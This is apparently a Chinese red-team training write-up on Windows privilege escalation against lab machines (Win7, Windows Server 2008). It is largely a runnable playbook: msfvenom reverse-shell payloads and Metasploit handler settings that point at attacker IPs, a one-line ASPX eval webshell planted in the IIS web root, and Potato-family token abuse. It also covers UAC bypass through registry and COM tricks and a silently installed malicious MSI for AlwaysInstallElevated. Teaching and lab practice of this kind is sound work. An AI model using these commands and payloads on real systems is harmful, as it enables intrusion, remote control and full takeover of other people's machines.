本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

本文来源:大白哥红队攻防演练课程(Des师傅授课部分)

需要咨询课程详情,请扫下方二维码添加大白哥绿泡泡

一、Windows提权的重要性

  • Windows提权相对于Linux更有必要

  • 如果想做横向移动、pth(哈希传递)、ptk(密钥传递)、ptt(票据传递)等等,绝大部分情况下就必须要拿到Windows主机进行提权

二、提权的步骤(靶机:Win7)

  • 基本操作:查看目标机器上打的补丁,通过未打补丁对应提权漏洞的EXP进行提权

  • 查看补丁号

systeminfo

  • 将补丁编号复制以下网站,查看获取可用的Windows提权EXP信息

http://bypass.tidesec.com/exp/

  • 根据结果,可以利用CS插件进行提权

  • 半自动化查询EXP的工具

python3 wes.py systeminfo.txt --impact "Elevation of Privilege"
指定漏洞类型为提权漏洞

python3 wes.py systeminfo.txt --impact "Elevation of Privilege" --exploits-only
查找所有已公开EXP的提权漏洞
  • 提权漏洞EXP

三、MSF提权模块使用(靶机:Win7)

  • 原理:也是利用机器上没有打的补丁 , 然后通过漏洞对应的exp进行提权

上线

  • 生成木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=7777 -f exe -o test.exe

LHOST:攻击者机器的IP
LPORT:攻击者本地的监听端口
-f:指定输出文件格式
-o:指定生成的文件名

  • MSF监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.245
set lport 7777
run

  • 目标运行木马后即可上线,此时查看当前权限为低权限

检索可利用的提权模块

background          //将前面已经上线的会话放入到后台运行
sessions            //查看会话信息
use post/multi/recon/local_exploit_suggester     //使用可检索可利用提权模块的脚本
show options      //查看当前需要配置的信息
set session 1     //设置会话为前面上线的会话
run

  • 运行后即可看见可利用的模块

提权

  • 使用检索出来的模块

use exploit/windows/local/always_install_elevated
  • 设置会话为前面上线的会话,然后运行

show options
set session 1
run
  • 此时再次查看权限,发现已经变为system权限

四、土豆家族提权

  • 原理:诱导system账户进行ntlm认证 , 在令牌协商中获取内容 , 然后模拟令牌 , 以system权限开启一个进程 , 进而实现提权

  • 主要还是针对IIS,IIS提权主流还是使用土豆家族

靶机(Winserver2008)

  • 在web路径上传一个webshell

  • 上传路径:C:\inetpub\wwwroot

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

  • 通过webshell将CS木马(x86类型)传上去,并执行

  • 此时查看权限发现并不是最高权限

  • 此时使用CS插件进行土豆家族提权

  • 提权后发现弹回一个系统权限的会话

其它土豆家族提权工具

JuicyPotato
https://github.com/antonioCoco/JuicyPotatoNG

SweetPotato
https://github.com/uknowsec/SweetPotato

GodPotato
https://github.com/BeichenDream/GodPotato

RasmanPotato
https://github.com/crisprss/RasmanPotato

五、Bypass UAC

  • 大型的攻防演练中,有时候通过web获取权限可能比较艰难,所以钓鱼变成了一个不错的获取权限的手段

  • 通过web打点获得权限往往是service权限,而钓鱼获得的权限一般是用户权限,而且针对钓鱼目标系统一般是win7、win10、win11这样的个人PC,而不是Windows Server

  • 在个人PC上,初始的用户默认都是本地管理员组(不是Administrator用户),虽然在管理员组,但是权限依旧是受限的(比如无法抓取hash) , 那我们可以通过Bypass UAC进行提权

UAC介绍

  • UAC(用户控制)是微软自win7以及后续Windows系统中引入的一种访问控制功能

  • UAC的主要目的是确保应用程序只限于标准用户用户权限,当需要其他权限时,回弹出提示询问“是否允许以下程序对计算机进行更改?”

  • 比如:一些软件的安装,都会弹出一个对话框,询问我们是否允许此程序对计算机进行更改

  • UAC触发流程

  • 触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单和用户选择来判断是否创建管理员权限进程。

  • 请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo和RAiLuanchAdminProcess函数。

  • 该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证请求进程的签名以及发起者的权限是否符合要求后,决定是否弹出UAC窗口让用户确认。

  • 这个UAC窗口会创建新的安全桌面,屏蔽之前的界面,同时这个UAC窗口进程时系统权限进程,其他普通进程无法和其进行通信交互。

  • 用户确认之后,会调用CreateProcessAsUser函数以管理员身份启动请求的进程。

  • 一般情况下,进行如下操作时需要经过UAC认证

配置Windows update
增加或者删除用户
改变用户类型
改变UAC设置
安装ActiveX
安装或移除程序
安装设备驱动程序
设置家长控制
查看其他用户文件夹
更改注册表
更改系统保护或者高级系统设置
  • 判断是否需要Bypass UAC

  • 如果看到的特权比较少,说明没有Bypass UAC,Bypass以后通过这个命令查看到的特权会非常多

whoami /priv

白名单程序操作注册表Bypass UAC

  • 有一些系统程序是会直接获取管理员权限同时不弹出UAC弹窗,这类程序被称为白名单程序。

  • 这类程序会在启动时就静默提升权限,例如:slui.exe、wusa.exe、 taskmgr.exe、eudcedit.exe、eyentvwr.exe, CompMgmtLauncher,exe, rundll32.exe, explorer.exe

  • 要成为白名单程序并实现权限提升,通常需要满足以下条件

  • Manifest标识配置属性autoElevatetrue:程序的清单文件(manifest)中必须包含autoElevate=true的配置属性,这一设置表明该程序在运行时会自动请求管理员权限。

  • 不弹出UAC提示窗口:白名单程序在运行时不会触发UAC弹窗,而是直接以管理员权限运行。

  • 注册表中的Shell\Open\command键值对:在Windows注册表中,Shell\Open\command键值对用于指定某个程序的默认执行路径,如果某个白名单程序运行时调用了该键值对指向的程序,则该程序也会继承白名单程序的权限。

  • 白名单程序操作注册表Bypass UAC可以通过bypassUAC_ComputerDefaults.exe这个工具实现

  • 运行这个以后会重新弹出一个cmd窗口,再次查看特权的时候,发现Bypass成功

bypassUAC_ComputerDefaults.exe "cmd.exe"

  • 在CS中可以直接输入bypassUAC_ComputerDefaults.exe+需要执行的命令

  • 该方法需要动注册表,如果目标环境存在杀软,基本上都会被拦截,所以此方法只适用于无杀软的环境,实战一般不采用

com接口Bypass UAC

  • COM组件

  • COM组件本质上是一种二进制文件(通常是DLL或EXE),用于实现软件组件间的互操作性,在Windows系统内的调用方式类似于C++中的类

  • 每个COM组件都有一个唯一的标识符,称为 CLSID(Class Identifier),它在Windows注册表中注册,用于定位和加载对应的二进制文件

  • 程序可以通过CLSID作为索引在注册表内找到具体的二进制文件

  • COM提升名称(COM Elevation Moniker)

  • COM Elevation Moniker是一种允许低权限应用程序以提升权限激活特定COM类的技术,从而提升COM接口权限

  • 比如最常用的ICMLuaUtil接口提供了ShellExec方法来执行命令,创建指定进程。

  • 可以利用COM提升名称来提权,之后通过接口调用ShellExec方法来创建指定进程,达到BypassUAC的目的

  • com接口Bypass UAC可以通过bypassUAC_com.exe工具来实现

  • 因为该方法使用的是com接口,WAF是不拦截的,所以实战中推荐该方法

拓展

  • uacme项目

https://github.com/hfiref0x/UACME/tree/master
https://github.com/yuyudhn/UACME-bin
  • Bypass UAC的cs插件

https://github.com/youcannotseemeagain/ele

六、错误配置提权

  • 原理:AlwaysInstallElevated是一个策略设置项,如果启用此策略设置项(默认是关闭的),那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件

  • 一般实战中很少能遇到,但是也要看一眼,看能否捡漏

判断是否存在错误配置提权(Win7为例)

  • 配置靶机

  • win + r,运行gpedit.msc

  • 计算机配置-->管理模板-->Windows组件-->Windows Installer,点击“永远以高特权进行安装”,选择“已启用”,点击确定

  • 用户配置-->管理模板-->Windows 组件-->Windows Installer,点击“永远以高特权进行安装”,选择“已启用”,点击确定

  • 重启电脑

  • 通过注册表判断

  • 通过查看注册表中以下两项的值判断,如果两个值都是0x1,说明是开启状态 ,如果是开启的 , 则说明存在错误配置提权漏洞

reg query HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\installer
reg query HKEY_CURRENT_USER\software\policies\microsoft\windows\installer

提权

  • 生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=8088 -f exe -o test.exe

  • 设置监听器

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.106
set lport 8088
run

  • 在靶机上运行木马,上线成功,此时的权限为低权限

  • 生成msi安装文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.106  lport=9999 -f msi -o shell.msi

  • 将msi安装文件生成上传

upload ./shell.msi

  • 将低权限的会话放在后台执行

bg    //background简写

  • 开启一个新的监听

set lport 9999
run

  • 在靶机上运行msi安装文件

msiexec /quiet /qn /i shell.msi

  • 此时弹回一个新的会话,发现提权成功